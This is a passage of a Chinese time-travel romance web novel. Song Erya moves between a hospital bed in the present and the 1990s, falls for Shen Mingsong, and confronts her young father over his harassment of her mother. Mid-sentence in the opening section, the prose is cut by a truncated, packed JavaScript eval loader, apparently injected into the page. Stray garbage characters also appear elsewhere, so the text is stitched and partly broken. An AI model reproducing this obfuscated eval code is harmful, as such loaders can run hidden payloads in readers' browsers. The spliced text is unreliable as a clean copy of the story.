道路边上种了盘根错节的大榕树,穿插着色彩明艳的三角梅,枝叶遮天蔽日,在白天时像入了植物园,也是躲避艳阳的好地方,到了晚上就变成了一条悠长的隧道,远远望不到尽头。 路灯明亮,也开始装摄像头了,不少人开车来着兜风,还有摆摊卖小吃的,大晚上的还是很有烟火气的。 “班长明天见,要注意安全。” “你也是。”宋尔雅在分岔路和最后一位同学道别。 夜风凉爽,吹散她的发尾,鼓动起校服宽大的衣摆,在黑夜里像低翔的小鸟,宋尔雅欢快地哼着歌: “羞答答的玫瑰静悄悄地开, 慢慢地绽放她留给我的情怀, 春天的手呀翻阅她的等待 我在暗暗思量该不该将她轻轻地摘……” 沈明松将车开得很慢很慢,不远不近地跟着她,她腔调诡异又走掉严重,在黑夜中愣是听得渗人。 一颗石头咻一下砸过来,准确投进车篮子里,宋尔雅双脚踩着地面刹车:“谁?!” 左右张望后她看到倚坐在树下戴着头盔的少年。 沥青地面上是一片长长车轮划痕,车子一路摔进绿化带,夜晚下不仔细看还发现不了。 那辆听说牛轰轰的哈雷摩托车倒在一旁,摔出了些零件。 谢星移带着黑色头盔,只露出一双眼睛来,可他眼睛很好辨认的。 宋尔雅没憋住笑,鬼火少年果然迟早翻车。 谢星移见她幸灾乐祸,怒目而视:“唱得什么,难听死了。” 宋尔雅立马不笑了,重新扭正车头继续回家。 “喂!”谢星移又扔了一颗小石头砸她脚边,有气无力,“喂。” 她忍着脾气再次看他:“你有什么事吗?” 谢星移明显有求于她,偏要装出拽拽模样:“你叫什么名字来着?” 都一个班还问她叫什么名字,宋尔雅说:“我叫张三。” “你他妈不是叫宋瑶!” “知道你还问!” 谢星移扶着树还没站起来又跌坐回去,好一阵咳嗽,他忍着疼:“帮我打个急救电话。” 宋尔雅这才看见他裤腿上染了很多血,渗在深色裤子上加深了一大片,纵使不喜欢这人,也做不到见死不救。 “你坚持一下啊,我现在就去叫人。” 说着就骑上车,她记得前面有一个报刊亭,赶去时亭子里大爷还没回去,她口袋还有几个硬币可以打急救电话。 医院离这边没多远,应该能很快就赶过来。 等宋尔雅折返回来,好些人也发现了疼晕在路边的谢星移,已经开始施展援救,她帮不了什么忙就不去凑热闹了。 她眼角余光瞥向另一处。 三角梅灌木从一人高,拉长一大片阴影。沈明松藏匿其中,没在人堆中找到女生身影,脚步一急从黑暗走出来。 宋尔雅在灌木另一边跳出来:“抓到你了!” 沈明松心脏骤停,险些被她吓得骂脏话,没好气:“你从哪冒出来?” 宋尔雅像抓到小老鼠一样得意洋洋:“其实我知道你一直都跟我后面回家。” 沈明松抿了抿唇。 “不过是我猜的啦,”这时是扫黑除恶的严打时期,远没后世那般太平,少有家长让女生单独走夜路,她很自信,“我就知道你不会让我晚上自己回家的,你担心我。” 她用的肯定句。 她还是困惑的:“到底为什么要和我保持距离啊,是我做了什么,你生我气了?” “没生气。”沈明松说,可他看起来就是有些郁闷的,欲言又止的,最后轻叹了一下,“算了。” 宋尔雅:“……” 她猛地一下子扑过去从后面抱住他:“沈明松,你究竟怎么了,你不说清楚不许走!” “你、你放开。”沈明松转身她也跟着移动,双手箍紧他腰身就是不放,将人逼得无奈,“对个男人搂搂抱抱,还有没有女孩样?” 宋尔雅嘟囔:“你又不是别人,我为什么不可以抱?” 沈明松到底也才十八岁,怎么去抵抗少女的亲密举动,手脚都不自在了,额角冒汗,费了老劲才把人掰开,将她两只手腕扣住防止她再扑过来:“你还是小孩吗,要是别人看到会怎么说我们?” 宋尔雅心道能说什么,忽然想到这是九零年代,大多人思想还停留在很久之前,男女牵下手都有可能被骂不要脸。 怪不得他说要保持距离,原来是怕被人说闲话。 可他是年轻人呀,怎么也这样想。 她撇嘴:“哥哥是裹脚老太太。” “什么话!” 沈明松抬手作势要敲她脑袋,她赶紧双手捂住脑袋:“所以就因为这个,你就不理我了啦?” 一刹那沈明松心脏被什么攻击到了,他拿下她的手看她大大眼睛,很受不了她这可爱模样:“没有不理你。” 被人说几句不痛不痒,更难听的多了去了,什么灾星,没爹娃,沈明松早就练成铜墙铁壁屹立不倒。 可若是被议论的对象换成眼前小姑娘,他做不到无动于衷,李达那种人千千万,他做不到让每一个人闭嘴。一人一句后,她还有什么名声。 救护车警鸣冲破黑夜寂静,火速赶来到这一边来,医护人员手脚麻利地把谢星移抬上车后又离开了。 沈明松一直没注意那边发生的事情,在心里纠结一番后:“你班主任找我,她不希望我影响你学习。” 热心路人看着车屁股远去,这才慢慢散去。宋尔雅也收回了目光去看他:“你能影响我什么?偷走我脑袋里知识?” 沈明松差点要被她气死。他一本正经的结果她还在开玩笑,还有他怎么就不能影响她了? 一时间他没发现自己变得幼稚起来,几乎是咬着牙说:“她认为我们两个在谈恋爱。” 说完他盯着她,想看她什么反应。 宋尔雅更乐了,没有猜想那样羞红着脸急着否认,还和他嬉皮笑脸:“你和我谈了吗,你就害怕?” 她堂堂正正,问心无愧。 沈明松放开她手,走到路边坐下来,下意识想掏口袋,随后才想起自己因为她实在讨厌烟味,早把东西都给扔了,心下更烦躁了。 他对她的反应很失望,不止一次的觉得这个自己从小看着长大的小姑娘,实在是招人恨。 “都是些没影的事,我明天就去和老师说清楚。”宋尔雅以为他还在纠结,跟着蹲过去,“再说了我现在也不想谈恋爱。” 沈明松不想看她。 “等过几年,我再和你说。” 沈明松猝然转头:“说什么?” 宋尔雅左右看了一下,见都没人了,神神秘秘地凑近他耳边:“我现在还不能和你说。” 沈明松气得差点跳起来:“又耍你哥玩呢?” 他心里更恨了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哥哥,你以后去读大学,阿姨也跟着你一起去吗?” 明珠行动不便,纵使家里请了李阿姨,沈明松也放心不下母亲。他一直关注国内假肢技术发展,犹豫再三还是决定等个几年,实在不行把母亲带到国外去做。 沈明松:“再等等。” 宋尔雅手指用力的挠了几下小腿,蚊子给她咬了好几个包。 “别挠了。”沈明松抓住她的手,见她另一只手无意识的伸下去想挠,干脆一把拉她起来往家里走。 他进屋找出一瓶花露水拿出来,蹲她面前:“裤腿撩上去。” 宋尔雅照做了,坐在椅子上把两条雪白匀称的小腿都露出,上面鼓起了几个蚊子包,和好几道挠出的红痕,膝盖和脚踝有点粉。 沈明松手掌宽大,骨节分明,完完全全能握住她脚踝微微抬高一点,将花露水喷在上面,冰冰凉凉的,大大缓解了难耐的瘙痒。 宋尔雅愣神,低头看他黑色微卷发顶,他也在垂眸看她的双腿,眉骨如弓,鼻梁高高耸起。 “哥哥,你不和我保持距离了?” 沈明松手上动作一顿,没抬头:“在家里没人嘴碎。” 两条腿都喷了一遍之后,他将卷起来的裤腿撸下去,这才抬眸看:“一会就被痒了,忍着点别挠了,晚上睡觉时把蚊帐放好。” “哦哦。”她连连点头。 跑回家睡觉前她也检查了一遍蚊帐才睡。 李阿姨亲眼看到这一幕,第二天和明珠说这两孩子感情真好。 明珠若有所悟,她很喜欢那孩子。 50-60 第51章 第 51 章 父亲 唯一幸运的是, 被推进手术室那天,麻醉效果才上来,宋尔雅就穿走了, 没遭罪。 宋尔雅这次穿越又出现了上次那种情况,手脚发冷浑身无力。 她摸自己脉搏,真的很微弱, 像在慢慢死亡的过程,不过因为她醒过来又逐渐恢复过来。 估计还真是她回到她那边太久的缘故。 陶冬冬是个大大咧咧地, 没想过去探她生命特征, 只当她中暑晕过去了把她背到阴凉处,用水往她脸拍。 看到她坐起来后, 陶冬冬悬着的心终于安定下来, 慌张神色还未收起:“你刚刚突然倒下去吓死我了, 是中暑了?” 宋尔雅不改面色抹了把脸上水:“没事, 刚刚睡着了。” 陶冬冬:“虽然我不太聪明,但也不是傻子。” 宋尔雅抽了下嘴角:“你刚刚拍了什么, 给我看看。” 陶冬冬把相机给她,里面果然拍到了那张照片的画面, 能证明她作为宋瑶存活的证据了。 陶冬冬只拍到了这么一张, 不敢再多拍了, 怕她又“睡着”了。 “你这什么破身体,弱得和鸡仔一样, 叫你不爱运动。”陶冬冬给了她后背一巴掌。 宋尔雅后背都麻了,痛死了。心想她是没见过她真正身体, 不然这一巴掌下去,自己立马倒下去让她哭着求她别死。 几天后陶冬冬把照片洗出来给她。 宋尔雅抚摸着照片,不懂它是怎么跨过时空跑到另一个世界去的, 她把照片塞信封里,给沈明松寄过去。 穿越时间完全没有规律,她不知道何时又会回去。希望她下次回去后手术大成功,医生给她说还能活个几十年没问题。 可如果失败了怎么办,如果她那身体死了,她还能穿回去吗? 还是她也要跟着身体一起死? 宋尔雅和陶冬冬疯玩到六月底,把周边城市都玩了一遍,她去拜了很多寺庙。 在殿堂内抄写经文时,她内心出奇平静,也想起一些往事。 在得知病情复发后,她当天极为消极,焦虑得在网上乱看,好多人说一旦复发被治愈的几率很低很低,在病友群里得到的都是充满鼓励而又苍白的安慰。 她崩溃地不想和老天斗了,想着大不了死就死了来安慰自己。 当然她也不是真的这般豁然,她比谁都怕死,这种心情又不能同旁人诉说,明奶奶已经很老了,定是接受不了白发人送黑发人。 她觉得苦闷无比,偷偷藏起来了哭,好似躲进角落,躲在黑暗中,死亡就找不到她了。 沈明松在床底找到了她,他单膝在地面上俯下身来,一手撑着地面,一手轻轻握住她纤细脚踝轻声哄她:“尔尔,出来。” 房间没有开灯,只能借着窗外微弱的光看见他俯下来的面部轮廓,眸光在黑暗中幽幽,宋尔雅才爬出来就被猛然抱起来。 他紧紧搂着她的腰就人抱在怀中,隔着衣服都感受到滚烫的体温,和急促的呼吸,宋尔雅下意识地将双手放在他的双肩上,有些惶恐。 “叔叔?” 沈明松露出了从未出现过的难看表情,似恨似怨,应该从医生那里听到了她的情况,那一刻她感觉他比自己还要痛恨命运。 那个拥抱真的很紧,横在腰上的手臂恨不得将她碾进身体里,融进骨血中,一同生长一同腐败,烂成一团血水再也分不清彼此。 他们离得这样近,转个脸可能连鼻尖都能想触上,她清晰看见他眼眸漆黑成一团化不开的墨,悲伤在无限蔓延。 宋尔雅都忘记了哭,也不知道要说些什么,外面淅淅沥沥的雨声,像一场悲鸣。 沈明松找她找到晚上,并没有生气,也不问她为什么要藏起来害人白白为她担心,他只是抱着她。 宋尔雅半响才起了个话题,说自己想要去看睡莲。 沈明松轻轻??x?点头:“好。” 他从始至终就没有放她下来,抱起她就下楼,惊得佣人面面相视。 他们都以为宋尔雅是沈家养女,非常惊讶于他们怎么可以做出这种亲密举动,她也不是几岁小孩了。 宋尔雅还穿着长袖睡裙,稳稳坐在他有力的臂弯上,一双细长的腿垂下来,没有穿鞋子,她环着男人的脖子,脑袋靠在他头上,像一对恋人。 他一手抱着她,一手撑着伞,不让任何人跟过来,穿过园林,他近几年信风水让人在家中设计了溪流湖,宋尔雅洒下过一把睡莲种子,没几个月就长满了湖面,从此年年满湖绿意,水映如画。 水面圈圈圆圆,睡莲在雨水中动荡,雨声潺潺,巨大的伞将两人笼罩住了,时间停止了流逝一般,宋尔雅没那么伤心了,更多是麻木。 “明松叔叔,你说我还能活吗?” 沈明松将她抱得更稳当,嗓音中没有一丝松快,却很坚定:“叔叔会找了最好的医生,我们马上就可以治疗。” 他平时也用哄小朋友的语气和她说话,可是有些话,骗骗小孩子就好了。 他脸色也太苍白,藏不住他的无能为力。 强大的沈明松不是无所不能的。 宋尔雅问:“可是网上都说复发就很难治好了,我还是死了怎么办呀?” 她总是不顾及别人,问一些无法回答的问题。 死了能怎么办,火化呗,装进盒子里埋进地底下,从此忌日里清明里,让亲人带上祭品到墓碑前缅怀,让潮湿渗进骨头得了风湿病,时不时折磨一下人。 沈明松说:“叔叔求过菩萨了,菩萨会保佑尔尔的。” “菩萨同意了吗?”她下意识地嘴贫,说完就感到好笑,于是就笑了,她枕着他肩膀,忽然看见沈明松鬓角的几根白发。 那并不是什么好笑的事。 从往事里脱身,宋尔雅后知后觉地难过。 后面去上香参拜,她跪在蒲团叩拜后仰头望菩萨像,菩萨垂目悲悯。周围都是上香的人,几乎没什么人吵闹,香灰弥漫中各人心中各有所求。 她亦是如此,她求亲人朋友平安,也求自己平安。 她想活着。 请让她活着。 高考成绩下来,和平时成绩相差不大,算好结果。宋尔雅便收拾行李去深市找宋芳,宋芳高兴得还请了两天假。 她带宋尔雅去看装修得差不多的新家,她的房间虽然和记忆里有出入,但显然宋芳按她描述尽量去装了,大概明年就能搬进来住。 这一年的暑假是最长的,宋尔雅来到深市后还没交到朋友,宋芳工作也忙得狠,她待不到一个星期就觉得闷了,她找了份暑假工来打发时间。 那是个课外班机构,专门给小学生补习的。宋尔雅才高中毕业,负责人本不太愿意要她,但有个老师恰好经过,得知她是来面试的,就说要留下她做助教。 说是助教,其实就是打杂的,不仅要负责整理学生资料,批改作业,还给家长打电话拉客户,连空闲时都被派出街上发传单,工资也不高。 宋尔雅比较乐观向上,吃过生病的苦觉得这些算不得什么,宋芳要比她辛苦得多,她总想万一哪天她穿回去再也过不来了,她便想多赚点钱留给她。 至于股票她上次回去查过一些过去的资料,也挑了一些来买,但她本金没多少,所以也只是稳赚点小钱。 留下她的那个老师姓梁,性格很随和,中午她带着宋尔雅到外面吃午饭。 梁老师状似不经意在她身上打量一番:“你家境应该不错,怎么想不开,来吃这种苦呢?” 宋尔雅说:“没有,我很缺钱,想给自己赚点学费。” 梁老师对她更满意了,像满意能吃苦耐劳的牛马,午休不到一个小时,就有人让她到的外面发传单去。 七月的深市,能把人热成融化的冰淇淋。 宋尔雅抱着厚厚一摞传单在街头晃悠半天才发得差不多。 她在路边花坛上休息了一会儿,看着不远大厦陆陆续续有人走出来,她抱着剩下的一些拿过去发了。 其中一人接过后没走,反而直勾勾地盯着她。 她察觉不对,抬头时却傻眼了。 眼前的人是郑嘉明。 她年轻时的父亲。 郑嘉明才下班,脖子上还挂着工牌,无精打采的,却越看她眼睛越亮,“你……你和宋芳什么关系?” 宋尔雅连连后退几步,说起来父母离婚后她就没怎么见过郑嘉明了,后来更是有意避着他,她都忘记最后一次父女相见是什么时候来着。 而年轻时候他的和宋尔雅记忆中相差不多,似乎又好些,没有婚后压抑的阴沉,看起来干净清爽。 宋尔雅没理他,抱着没发完的传单就跑,不顾后面的人追上来和自己说了什么,她跑得极快。 不对,她为什么要跑呢? 大概是不知怎么面对他,打他一顿还是骂一顿? 然而第二天,郑嘉明就顺着传单找到机构,再次问:“你和宋芳什么关系?” 宋尔雅装傻,表示不认识宋芳。 随着年龄增长宋尔雅早褪去了婴儿肥,和宋芳有七八分相像,一眼看过去就知道有血缘关系。 “我问过了,你也姓宋,你是她妹妹对吧。”郑嘉明笃定,还放缓了语气,摆出一副彬彬有礼姿态,“我是你姐姐的男朋友,最近和你姐姐闹了些矛盾,你能替我帮她传达些话吗,我找不到她了。” 宋尔雅问言宛若生吞了一只苍蝇。 这个世界里宋芳起初遇到郑嘉明时对他确实有好感,但被他搅黄单子后,宋芳又去算过命算出是孽缘早就避着他了,生怕她挡自己财运。 宋芳写信明确说过他们没谈过恋爱,还让宋尔雅别每次写信去都特意提醒她对郑嘉明辟邪了,她一看这名字就头大,让她总想起黄掉的单子,成了那可是好多提成,那人害她失去那么多钱。 宋尔雅继续装傻,郑嘉明却堵着不让她走,梁老师看到走廊这一幕走过来:“这位先生,你如果是要来了解我们课程,请去前台预约。” 郑嘉明只好讪讪离开。 回家后宋尔雅说了这事,宋芳锤着桌子连骂好几声:“这王八蛋有完没完了。” 宋尔雅这才知道,郑嘉明之前一直在纠缠宋芳,逼得她搬了好几次家才搬来了现在的小区,连工作那边也调去分公司。 她报过警,但没实际性伤害警察不予立案,只当他是过激追求者,教育了事。 按宋尔雅对她爹的了解,他一开始是很喜欢宋芳没错,因为宋芳漂亮,吃苦耐劳会赚钱,符合他理想中的贤妻良母,不然也不会和没文化的她结婚。 而这次宋芳没有和他发展下去,没了金钱的支持,郑嘉明大学毕业后就没继续念下去出来工作。 猴子捞不到月亮,自然就惦记。 宋尔雅想着要怎么彻底把他解决掉,连走路都在怀揣着心事,一天晚上快走到小区前被人一把抓住手臂。 各种被拐卖、尾随杀害的新闻在她脑海里交替浮现,这要吓死个人! 宋尔雅大力甩开那人拔腿就跑,救命还未喊出来就被人双手掐着肋下高高举起,她回头望下去。 路灯老旧昏暗,沈明松眉骨又高随着头发在上半张脸打下一大片阴影,他高大的身躯在黑夜中还是有些渗人的。 他脸色难看:“打你电话怎么关机了?”紧接着看到她惶恐神色还是冷着脸,“脸怎么这么白?” 宋尔雅苦着脸:“你要吓死我啊。” 沈明松挑眉,毫无愧疚之心:“我故意的。” 宋尔雅:“?”—— 作者有话说:妹妹身体不太好,有些地方是会虐一下的,但俺会给她写一个好结局的,会he的[可怜] 第52章 第 52 章 别人家的男朋友 宋尔雅还被他一米九的大高个抬高手举着, 双脚悬空着,看起来像一只愤怒而无助的猫:“什么?!” 沈明松也是一脸严肃:“你走路不看路的?我跟你一路了,要换成坏人早给你迷晕扛走了。” 沈明松只知道宋芳家大概位置, 便在小区外一直打电话,好不容易看见人回来,结果她想事情过于入迷, 他一见她就喊了她几声,都给她忽视掉了。 宋尔雅都要被他说得理亏了, 不服顶??x?嘴:“我要是有心脏病会被吓死的。” “什么死不死, 乱说什么。”沈明松把她放下来,还未站稳就被一把揉入怀中, 他低头亲她发顶一下, “怎么放假那么多天, 都不晓得来找哥哥一下, 没良心的。” 宋尔雅和他抱了一会,对他总是突然出现有些见怪不怪了, 他就是单纯来看看她的。 男人体温高,大夏天的被他抱属实热, 她又把人推开。 沈明松质问她:“手机为什么关机?” 宋尔雅摸出手机一看, 不知什么时候就没电了。 这时的手机电池太耐用, 冲一次顶一个星期,她也就常常忘记充电。 沈明松敲她脑袋:“什么脑子。” 大路上不是说话的地方, 光在这站了会儿,宋尔雅脖子就被蚊子咬了好几下, 又痒又疼的,她挠了挠,似乎肿成大包了。 沈明松看过去, 一怔,未反应过来手指已经摸上那个红肿小包。 他指腹上有茧子,宋尔雅缩了缩:“你别摸我啊。” 沈明松一下子抽手离开,脸都黑了:“怎么说话的,不知道的还以为我耍流氓。” 宋尔雅:“……” 片刻后沈明松又去牵她手,问她刚刚究竟在想什么。 宋尔雅正要回答,忽尔瞧见了他身后的拿着小扇子扇风的宋芳,不知看了他们多久。 …… 宋芳先回家把高跟鞋拖了又换上宽松上衣短裤,准备一会去外面吃晚饭。 宋尔雅溜进她房间:“姐姐你不准备问什么?” 宋芳咬着皮筋,把长发握手里梳理起来:“有什么好问的,意料之中。” “啊?”这个回答是宋尔雅没想到的。 “小时候你牛皮糖一样粘着人家,姐姐又不瞎。”绑完头发后宋芳轻轻捏捏她脸蛋,“我又不反对你们谈恋爱。” 宋芳对她一向开明,就连当她妈妈时,除了学习方面,其他事情并不限制她。哪怕从她床底下收拾出某些漫画本子,也不惊讶里面内容,还会给她科普性\方面的知识,让她不要在懵懂无知的年纪被坏男孩欺骗。 她在这边和沈明松是正常的青梅竹马关系,长大了在一起也理所当然啦。 宋尔雅心立马不虚了。 嘿嘿,她爱妈妈。 他们打算去吃火锅。 大概半个小时,孟非凡就火急火燎地赶到吃饭的地点,他大热天西装革履,头发还抹上发蜡。 宋芳呆滞一瞬:“你不热?” 孟非凡扫视一圈桌子,懵圈了:“不是说要见家人?” “就出来简单吃个饭,你整那么多活?”宋芳把肉放下去,锅底不断翻滚成热气冒上来,让人快把外套脱了入座,又问服务员给他要了围裙。 孟非凡窘迫地给自己擦汗,好在店内开有空调,发红的脸色才给降下来。 宋尔雅大概也看出来他们之间也有的猫腻了,她同样也很开明的, 孟非凡嘛,有待考察。 点了个鸳鸯锅,宋芳和沈明松吃辣喝酒,宋尔雅倒和孟非凡吃到一块去了,他说要点份凉茶下下火也只有宋尔雅搭理他。 看着他们点了冰啤酒,宋尔雅也想尝尝。沈明松拿着酒瓶不给她倒,自己倒是一杯接一杯,和孟非凡有说有聊。 宋尔雅粗略知道他一边上学一边在一家建筑公司工作,而孟非凡恰好是干工地项目的,两人聊得起劲。 她偷偷喝了一口啤酒,又苦又辣的无法下咽,但沈明松他们都不怎么吃东西,只喝酒。宋尔雅趁他不注意,把自己凉茶倒进他空杯里。 沈明松才喝了一口,整张脸都扭曲了,不可置信地扭头看她。 宋尔雅冲他嘻嘻笑。 他在桌底下偷偷捏她手心,仿佛在说:“欠收拾。” 火锅店就在商城里面,吃完出来宋尔雅不想这么早回去,而宋芳上班累得很只想回去洗澡睡觉,孟非凡先送她回去了。 大城市娱乐的东西太多,宋尔雅热衷于娃娃机,她看别人谈恋爱都会玩这个。 现在终于可以轮到她了,嘿嘿。 她投币了几次,依旧抓空了。 沈明松十几岁时就给林海看场子,自然知道这些套路,没投够钱前是抓不上来的,见她玩得开心也就不扫兴。 他当兵一样矗在那,许是脸挂着笑显阳光,一身短袖牛仔裤的他妥妥帅气男大,很惹眼,旁边一堆情侣中的女生偷偷看了他好几次,气得男生去掰回她脸。 再一次空了之后,宋尔雅把硬币递给他:“你也玩。” 沈明松没动,对小女生的游戏没什么兴趣。 宋尔雅指向旁边情侣羡慕道:“你看人家给女朋友抓了好多呢。” 这话说得不小声,情侣中的男生立即挺直脊梁骨,有意无意地展示怀中娃娃。 沈明松嗤笑一声,拿过她手中最后几个币,然后也空手而归。 男生发出无声嘲笑。 沈明松若无其事摸摸她脑袋:“乖,我们不攀比。” 宋尔雅站定在娃娃机前,明显就不愿就此离开,她指玻璃下喜欢的娃娃:“如果能抓上这个,我就亲你一下。” 沈明松:“幼稚。” 他从钱包里掏出钱去换了一兜游戏币回来,开始非常认真地操控娃娃机。 最后他一连抓了八个,宋尔雅上手去拉他手臂才把人拉走。 他索要承诺的奖励,她想耍赖也赖不掉,因为他两只手都抓着了她推人的双手,将她逼得后背贴墙。 沈明松把她困在商场无人角落,像夜里蛰伏地野兽,似乎下一秒就会凶狠地咬上来。 宋尔雅等了一会儿,都没见他有其他动作,他只是弯着腰,把头低到和她平等的位置,等带着她自己实现承诺。 她便向前一点,柔软双唇印在他脸侧。 沈明松一下就把她松开了,压着嘴角弧度:“我给你抓了八个。” 他要八个吻。 宋尔雅:“你好贪心。” 她可不会连亲他八次,抬起双手去勾他脖子,她踮着脚尖去吻他双唇,这一次并没有碰一下就离开。 沈明松刚开始还反应不及,眼底从震惊猛然过度至兴奋至极,触电一样微微颤栗,胸腔下的心脏疯狂跳动着,如擂鼓一般。 本是她主动的,到了后面就成了被动,后脑勺被大掌用力扣住,想后退都不能。 两人都很青涩,沈明松几乎是凭借着本能,闭着的双眼长睫颤动个不停,动作却凶得像野狗一样。 分开时,宋尔雅的脸比刚吃完火锅后还通红,嘴巴也是。 沈明松一瞬不瞬地盯着她,露出狗狗渴望的眼神,看起来没有满足。 这种眼神让他不那么像一个叔叔或者哥哥,而是属于恋人的眷恋神态。 宋尔雅平复喘息,手指去抚摸他嘴角:“我以为你这次也会说我不矜持。” 沈明松收回狗狗眼,却还是握住她手背让她抚摸着自己脸:“不矜持也没关系,我不怪你了。” 像是在说,以后也不用矜持了。 宋尔雅又挖出了他隐藏起的稚气,谈起恋爱来,变阳光男孩了。 两人没玩多晚,沈明松把她送到小区楼下后,他在附近酒店住。 洗完澡出来,他擦着头发还想要不要打个电话过去,结果都快十一点了,而她十点前必睡着,雷打不动。 ~ 沈明松过来是来找她玩的,哪想她找了个班上,真是闲得慌。 他没法了,只能中午跑过来和她去吃饭,下午下班后和她四处溜达,除了吃就是吃,还得晚上十点前送她回家。 看得出来他有些忧愁,大概没见过谁谈恋爱是这样子的。 这天沈明松等着她下班一起去时,突然问她:“你认识那小子?” 宋尔雅不解,发现他正越过她目光暗沉盯某一处,她顺着望过去,又看到郑嘉明了。 “他这两天一直在这打转。”沈明松说,显然很早就发现他了。他似咬牙切齿又像叹气,“你才来这边几天,怎么又被人惦记上了。” 宋尔雅闭眼深呼吸,又不能和他说那人是她爹,被惦记的是她妈妈吧。 她松开沈明松手想去和郑嘉明谈谈,还特意不让他跟着。 沈明松抓着她手臂没松开。 宋尔雅拍拍他胳膊:“他是来找我姐姐的。” 沈明松这才失去了兴趣由着她往那边走去,自己在不远处盯着,站岗一样。 宋尔雅来到郑嘉明面前,想听听他到底要怎么样。 郑嘉明此时看起来像雨中无处可躲的丧家犬,不知道的一看还以为是被谁辜负了的痴情男子。 他比宋芳小三岁,又是重点大学毕业,有时也不明白为什么自己会对一个宋芳如此执着。 当时宋芳在他大学附近的培训上课时,她漂亮,所以找她练口语的男生很多,郑嘉明也难免被吸引,接触之后发现比外表更??x?迷人的是,她身上有让人依赖的母性。 宋芳一个人独自在大城市里工作,有着很强的独立生存能力,也会照顾人,每次约她出去玩郑嘉明都是被照顾的那个人。 都说女大三抱金砖,他被三个姐姐惯坏了,自然也想找个姐姐一样的对象。 然而某一些方面上,宋芳又很强势,比如她不愿意为了自己换掉一个工资不稳定,还经常要和客户去喝酒的销售性质工作,就这点不符合他的择偶标准。 他想帮她改变想法,没想就因为得罪她一个客户从此就被她厌恶,两人之间的暧昧说中止就中止,就好似前面对他的好都是假的。 他觉得宋芳有些不可理喻,却又鬼迷心窍地放不下,放下了,总觉得自己会错失掉什么珍贵的东西。 他把一张银行卡递过来让宋尔雅代替他转交给宋芳,表情很沮丧:“和你姐姐说之前的事是我不对,这里面的钱当是我赔她的,让她不要生气了理理我好不好,拜托你了。” 宋尔雅愣了愣,嗯?这和她记忆里的父亲不太一样? 不过她还是冷脸:“不好,你不要再纠缠我姐姐的,你们根本什么关系都没有,你这是骚扰你知不知道!” 郑嘉明听不懂人话一般,固执道:“拜托你帮我转达,让她和我见一次面,有什么话让她当面说清。” 平心而论,郑嘉明也长得相当不错,读书人的气质很干净,这时的他还透着刚出社会的懵懂和纯粹,不像什么坏人。 要不是宋尔雅太了解亲爹了,也会被他这副模样欺骗。 也许郑嘉明也曾爱过她们母女俩,宋尔雅有次在奶奶家被恶狗追,他为了保护把她举过头顶,自己被狗咬得小腿血流不止。 他们也有过一家三口的幸福时光。 但这些幸福过期后就如下冰箱放久的食物,成了腐肉散发恶臭,早就面目全非爬满了蛆。 人最好不要贪恋已经失去的东西,烂掉东西吃下去再怎么样都不可能重温原本的味道,就像听到郑嘉明劝说母亲放弃治疗自己之后,宋尔雅对他就彻底失望透顶。 不是没钱治,而是他后娶的老婆介意她,不想她活下,阻拦着和她骨髓相配上的姑姑给她捐献,而郑嘉明也默许了这样的行为。 一直以来宋尔雅都装不在意,没有父亲也没关系,可她就是恨他,恨久后又释怀了,认为这样的父亲不该占据她生命任何一角。 “你是不是有病啊,非要逼我骂你?”宋尔雅看着郑嘉明胸前工牌,念出上面的公司名字,还是个大企业来着,“你再骚扰我或我姐姐,我就去你们公司找你人事或你上司去。” 当然上司见不见得到另说,能震慑住人才是主要,只有亲近的人才知道郑嘉明异常爱面子,哪怕她跑去闹一闹也够他丢人的。 现在的他也只是个刚毕业出来的实习生,一个不慎就要丢工作。 她转身要走,郑嘉明上手来拦抓着她胳膊,她一个头槌攻击过去,哪想他立马侧身躲掉还松开了手,令她整个人都扑到地面上。 骨头架都摔散了一样,疼得不像被摔了一跤那么简单,眨前看到是向她冲过来的沈明松,之后再费力睁眼,便是几个身着无菌衣的医护人员。 唔。 她穿回去的次数似乎变得频繁起来。 第53章 第 53 章 生日 宋尔雅醒来后骨髓移植手术已顺利完成, 造血系统被摧毁重建,为了避免感染而被关在无菌仓里。 无菌仓不大就她自己住,只有医护人员可以进出, 别人来看望她都只能在小窗口隔着玻璃看,还得用对讲机说话。 虽然有窗户可以看到外面风景,可依旧把她闷得慌, 而且排异现象似乎有些严重,经常发热。 几乎有一半的时间她意识都是模糊的, 沈明松来看她时, 她都侧躺床上半昏迷。 有几次没睡着,却是背对着他装睡, 她不想让他看见自己憔悴丑陋的模样。 生病是很难受, 亲人朋友看到她难受也会同样揪心。 段西瑞一个成年小男生来看她时都忍不住红了眼眶, 让她快点好起来一起去念大学。 这时快八月底了, 段西瑞准备开学事宜,如果她没生病的话也该要入学了。 她不想伤感这个, 转而去想其他事,沈明松生日在九月初, 到那个时候她应该恢复不错了。 每一年她都会给人精心准备礼物, 哪怕穿去那边世界没什么钱时, 她也挑些力所能及的送,第一次送他礼物还是只大公鸡来着。 这次她没有时间准备礼物。 宋尔雅思索过后, 联系接手她工作室的朋友提出自己要求,拜托她尽快找工匠。 朋友笑岔气了:“哪有你这么幼稚的, 送这个,你确定你的沈叔叔不会被气笑,你当他和你一样还是二十出头?” 宋尔雅想他实际年龄也没多大:“别啰嗦, 你照做就行。” 朋友嘲笑归嘲笑,办事是靠谱的,当天就着手去办,给了她个具体日期。 未了朋友笑声没了,她说:“尔尔,你快好起来。” “我会努力活着的。” 后面小半个月过去了,宋尔雅也没有穿越走,硬是让她扛了手术后的折磨,身体慢慢恢复过来后,她满血复活了。 沈明松再次来看她时,都能在不大的仓内走来走去,和他嘻嘻哈哈,又恢复平时的乐观。 她从小窗口望着同样消痩许多的男人,嘟着嘴埋怨:“我不喜欢这里,这里就像坐牢一样。” 她手指敲打着窗口玻璃,都仿佛在抓着铁栏杆,双眼渴求自由。 看她那娇憨样,沈明松绷紧地脸部松动,扯出一个笑容:“差不多了,医生说恢复得很好,再观察一个星期大概就可以出来。” 宋尔雅愁眉苦脸:“我现在就迫不及待要出去了。” 沈明松问她出去要做什么。 “我想抱抱你,亲亲你。” 沈明松:“……” 她连眼睛都不眨,就要看看他是什么反应。 结果他只是很平淡的多看她一眼而已。 如果是二十岁的沈明松,听到他这么说,一定先装模做样地冷着了,没几秒后又装不下去,自己就黏过来了。 沈明松神色如常,嘱咐她一番要好好吃饭,不舒服一定要叫医生之外,没多说什么。 宋尔雅怪失望的。 他离开医院之后还要去集团参与一场会议,助理抱着电脑给调出电子资料再让他确认一遍。 